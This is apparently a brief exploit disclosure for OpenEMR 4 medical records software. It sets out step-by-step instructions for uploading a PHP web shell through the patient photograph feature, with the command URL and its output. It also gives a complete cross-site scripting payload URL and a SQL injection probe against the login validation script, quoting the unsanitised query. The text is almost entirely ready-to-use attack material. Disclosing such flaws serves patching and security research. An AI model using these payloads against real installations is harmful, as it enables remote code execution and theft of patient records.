OpenEMR 4 suffers from cross site scripting and remote SQL injection vulnerabilities.
c5472d4657683443d0f1450f9011027988e59ef78f177e8fcb2f435fbdcb01c4
OpenEMR 4 (Level @ Smash The Stack)
Summary: Patient Photograph Arbitrary File Upload
Initial Comment:
1. Login with valid User/Pass
2. Patient/Client -> Search/New Patient (search for anything)
3. Click Documents -> Patient Photograph
4. Upload Shell
URL: https://www.example.com/openemr/sites/SITENAME/documents/PATIENTID/shell.php.jpg?cmd=id
EX: https://www.example.com/oe/sites/default/documents/1/shell.php.jpg?cmd=id
Output: uid=48(apache) gid=48(apache) groups=48(apache)
first installed SITENAME = default
first installed PATIENTID = 1
OpenEMR 4 (Level @ Smash The Stack)
XSS
https://www.target.com/oe/setup.php?site=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
OpenEMR 4 (Level @ Smash The Stack)
Summary: validateUser.php SQL Injection
Initial Comment:
https://www.target.com/oe/interface/login/validateUser.php?u=test'
validateUser.php:
$user = $_GET['u'];
$authDB = sqlQuery("select password,length(password) as passlength from users where username = '$user'");